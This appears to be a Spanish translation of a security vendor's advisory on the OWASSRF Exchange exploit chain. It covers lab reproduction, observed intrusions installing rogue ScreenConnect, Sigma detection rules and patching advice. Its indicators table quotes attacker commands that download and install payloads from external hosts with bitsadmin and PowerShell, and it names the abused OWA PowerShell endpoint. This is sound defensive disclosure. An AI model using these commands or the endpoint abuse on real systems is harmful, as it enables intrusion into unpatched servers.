Simplemente no pudimos cerrar el año 2022 en calma; los hackers se encargaron de eso con su último exploit de Microsoft Exchange.
El 22 de diciembre, Huntress observó un aumento significativo en ejecuciones maliciosas de PowerShell que entregaban un payload de ConnectWise Control (ScreenConnect) en endpoints de Exchange sin parchear, usando la cadena de explotación compuesta por CVE-2022-41080 y CVE-2022-41082. Esta cadena de explotación fue bautizada “OWASSRF” por Crowdstrike, ya que involucra una falsificación de solicitud del lado del servidor de Outlook Web Access. La cadena de explotación se relaciona con ProxyNotShell, pero evita la guía de mitigación que Microsoft proporcionó en septiembre antes de lanzar su parche.
Sigue leyendo nuestro análisis de cómo funciona el exploit OWASSRF, cómo logra la ejecución remota de código y qué debes saber para mantenerte protegido.
Cómo funciona OWASSRF
Para desglosar cómo funciona este exploit, los investigadores de seguridad de Huntress comenzaron configurando un dominio de Active Directory nuevo y un servidor de Exchange usando Windows Server 2019 Evaluation Edition. Creamos una cuenta de usuario sin privilegios que residía solo en el grupo de seguridad Domain Users, con un buzón de Exchange nuevo. Se usó Exchange 2019 CU2 (15.2.397.3) para las pruebas.
El siguiente video muestra el uso del código de prueba de concepto (POC) filtrado, obtenido por los analistas de Huntress, junto con Metasploit, para lograr la ejecución de código como NT AUTHORITY\SYSTEM en el servidor de Exchange sin parchear.
El exploit POC primero se autentica con credenciales de usuario válidas en Outlook Web Access (OWA). Estas credenciales no necesitan ser administrativas, solo deben poder autenticarse en OWA.
Después de la autenticación, el script POC se comunica con el endpoint /owa/mastermailbox%40outlook.com/powershell mediante el protocolo PowerShell Remoting implementado por el paquete de Python pypsrp. El script configura un proxy local, que reenvía las conexiones WSMan en localhost al servidor de Exchange a través de la sesión HTTP autenticada. El proxy resultante permite que el atacante ejecute código PowerShell arbitrario en el servidor de Exchange como NT AUTHORITY\SYSTEM, usando solo las credenciales de un usuario sin privilegios.
Es importante señalar que, si bien no hemos visto que se use Metasploit en ataques reales, lo mostramos en este ejemplo porque es un framework de uso común, flexible y fácil de capturar en formato de video. El objetivo de nuestro video es demostrar el vector de acceso inicial. La ejecución de código obtenida al abusar de este exploit podría usarse para desplegar cualquier cantidad de tácticas. Por ejemplo, en la sección siguiente, destacamos el uso que hizo un atacante de la herramienta legítima de acceso remoto ScreenConnect.
Detalles y análisis del exploit
A partir del 6 de diciembre, Huntress identificó varios sistemas en diferentes clientes que tenían ScreenConnect instalado con el mismo ID de instancia (es decir, “6db95d58cdf0a1a3”). En un caso, se observó el mismo sistema con la instancia maliciosa de ScreenConnect instalada el 6 de diciembre (método desconocido), y nuevamente el 22 de diciembre usando el exploit OWASSRF.
El 14 de diciembre, Huntress comenzó a investigar una intrusión que usó ProxyNotShell para el acceso inicial, y luego usó la utilidad nativa de Windows bitsadmin.exe para descargar e instalar una instancia maliciosa de ScreenConnect, como se ilustra en un tuit del gerente del SOC de Huntress, Dray Agha.
179.60.149.28
- Acceso inicial #ProxyNotShell
- Bitsadmin para descargar herramientas (http://179.60.149.28:4427/).
- Instaló Screen Connect, ID: b81d2f07c9163bf5, URL: instance-cmjrni-relay.screenconnect[.]com
- Desplegó Mimikatz
Rastreó y guardó sus herramientas, puedes acceder... pic.twitter.com/8vA3LNtpul
— Dray Agha (@Purp1eW0lf) 14 de diciembre de 2022
El 22 de diciembre, los analistas de Huntress observaron una explotación masiva de ProxyNotShell en toda nuestra base de clientes, y crearon una “sala de guerra” para investigar y abordar el problema. Al día siguiente, nuestros analistas usaron alertas de Managed Antivirus (es decir, Windows Defender) para identificar intentos neutralizados de desplegar la variante de ProxyNotShell.
Indicadores de compromiso
La siguiente tabla ilustra los indicadores de compromiso (IOC) del exploit y posteriores a la explotación que Huntress ha observado mediante la telemetría y el análisis disponibles.
Tipo
Indicador
Notas / hash sha256
Exploit
“/owa/[email protected]/powershell” con código de respuesta 200
Los registros del servidor web IIS contienen los eventos POST referenciados con un código de respuesta 200 (éxito)
Post-explotación #1a
bitsadmin /transfer JobName /download /priority FOREGROUND http://179.60.149[.]28:4427/22.exe C:\1.exe
Comando bitsadmin para descargar e instalar una instancia maliciosa de ScreenConnect
Post-explotación #1b
powershell -nop -c Invoke-Expression (New-Object Net.WebClient).DownloadFile.Invoke(‘https://autodiscover.hofduncan[.]org/owa/auth/Current/themes/6.css’ ‘c:\windows\temp\c.msi’)
PowerShell codificado en base64 que se ejecuta como proceso hijo del servidor web (w3wp.exe)
Post-explotación #2
Origen del registro de eventos del sistema: Service Control Manager
ID del registro de eventos del sistema: “7045”
Busca la instalación del servicio ScreenConnect en el registro de eventos del sistema.
IOC posterior a la explotación
179.60.149[.]28
Dirección IP para la descarga posterior a la explotación mediante bitsadmin
IOC posterior a la explotación
155.138.240[.]251, 66.42.116[.]130
Dirección IP para el C2 de ScreenConnect posterior a la explotación
IOC posterior a la explotación
autodiscover.hofduncan[.]org
email.stannparish[.]org
Dominio para la descarga de ScreenConnect posterior a la explotación mediante PowerShell codificado en base64
IOC posterior a la explotación
IDs de instancia de ScreenConnect: b81d2f07c9163bf5,
dc2f2d1c0840229c, 6db95d58cdf0a1a3
Huntress observó tres IDs de instancia de ScreenConnect asociados con instalaciones maliciosas en varios sistemas
Si bien Huntress ha observado actividad posterior a la explotación en varios sistemas desde el 6 de diciembre, se descubrió que varios de esos sistemas tenían Windows Defender deshabilitado. En al menos un caso en el que Windows Defender estaba habilitado y actualizado, el exploit inicial se detectó alternativamente como “Exploit:Script/ExchgProxyRequest.A!gen” y “Trojan:Win32/IISExchgSpawnCMD.A” y fue puesto en cuarentena.
La Figura 1 muestra un registro del ID de evento 1117 para la detección “Trojan:Win32/IISExchgSpawnCMD.A”, encontrado en el registro de eventos Microsoft-Windows-Windows Defender%4Operational.
Figura 1: Ejemplo de registro del ID de evento 1117 del registro de eventos de Windows Defender
El evento de detección de Windows Defender mostrado arriba es uno de muchos que ocurrieron en ese sistema. Otras detecciones incluyeron intentos de usar las utilidades nativas de Windows rundll32.exe y msiexec.exe para instalar lo que parece haber sido una instancia no autorizada de ScreenConnect. Después de estas detecciones, no se observó ninguna otra actividad posterior a la explotación. En este caso, Huntress observó múltiples intentos de explotación a lo largo de dos semanas, todos detectados y puestos en cuarentena por Windows Defender.
Reglas de detección
Huntress cuenta con varias reglas que detectan la actividad posterior a la explotación asociada con la cadena de exploits OWASSRF observada.
Por ejemplo, la regla Sigma de la Figura 2 ubica cualquier proceso de PowerShell que se ejecute como proceso hijo del proceso del servidor web IIS (w3wp.exe), sin importar la línea de comandos de PowerShell.
Figura 2: Regla Sigma para detectar PowerShell generado a través del servidor web IIS
A partir del evento de detección, los analistas pueden verificar si hay codificación base64 en la línea de comandos, como se muestra en la Figura 3.
Figura 3: Ejemplo de ejecución de OWASSRF encontrado mediante la detección anterior
Si bien la Figura 3 muestra la línea de comandos observada como resultado de ejecutar el código de prueba de concepto contra un sistema de prueba, sirve únicamente como ejemplo y no se observó en la telemetría de Huntress. Unit42 de Palo Alto ha informado que los atacantes que usan la vulnerabilidad OWASSRF suelen usar el payload de reverse shell de PowerShell llamado SilverArrow para actividades posteriores a la explotación, como se ve en la Figura 4.
Figura 4: Ejemplo de payload de SilverArrow
Huntress ha desarrollado una regla Sigma capaz de detectar SilverArrow y comportamientos maliciosos similares de PowerShell. La regla, mostrada en la Figura 5, detecta el uso de sockets TCP sin procesar en líneas de comandos de PowerShell como indicadores de actividad potencialmente maliciosa.
Figura 5: Regla Sigma para detectar actividad de reverse shell en PowerShell
Las reglas Sigma mencionadas en las Figuras 2 y 5 están disponibles en el repositorio de Huntress Threat Intel Github. De aquí en adelante, Huntress proporcionará contenido de inteligencia de amenazas (detecciones, reglas Sigma o reglas YARA, IOC, etc.) a través de este repositorio para complementar otro contenido público.
Conclusión y recomendaciones
Se sabe que los actores de amenazas cambian sus tácticas y utilizan medios nuevos o novedosos para comprometer organizaciones. Por eso la visibilidad, la detección y la respuesta son factores fundamentales para inhibir o incluso evitar los ataques.
Mientras los actores de amenazas pasaron a usar métodos “nuevos” (es decir, OWASSRF) para obtener acceso a organizaciones a través de servidores de MS Exchange, sus actividades posteriores a la explotación fueron visibles y familiares para nuestros analistas, lo que permitió a Huntress detectar, responder y recomendar remediaciones a los clientes antes de que ocurriera más daño. Por ejemplo, otros informes públicos indican que, mientras Huntress y otros detectaban, evitaban e investigaban estos ataques, otros ataques más exitosos derivaban en la implementación de Play ransomware. Esto demuestra el increíble valor de contar con un equipo dedicado de ingenieros de detección, analistas e investigadores que vigilen tu negocio.
Además, si no has aplicado el parche a tu servidor Exchange on-prem el 8 de noviembre o después, hazlo cuanto antes.
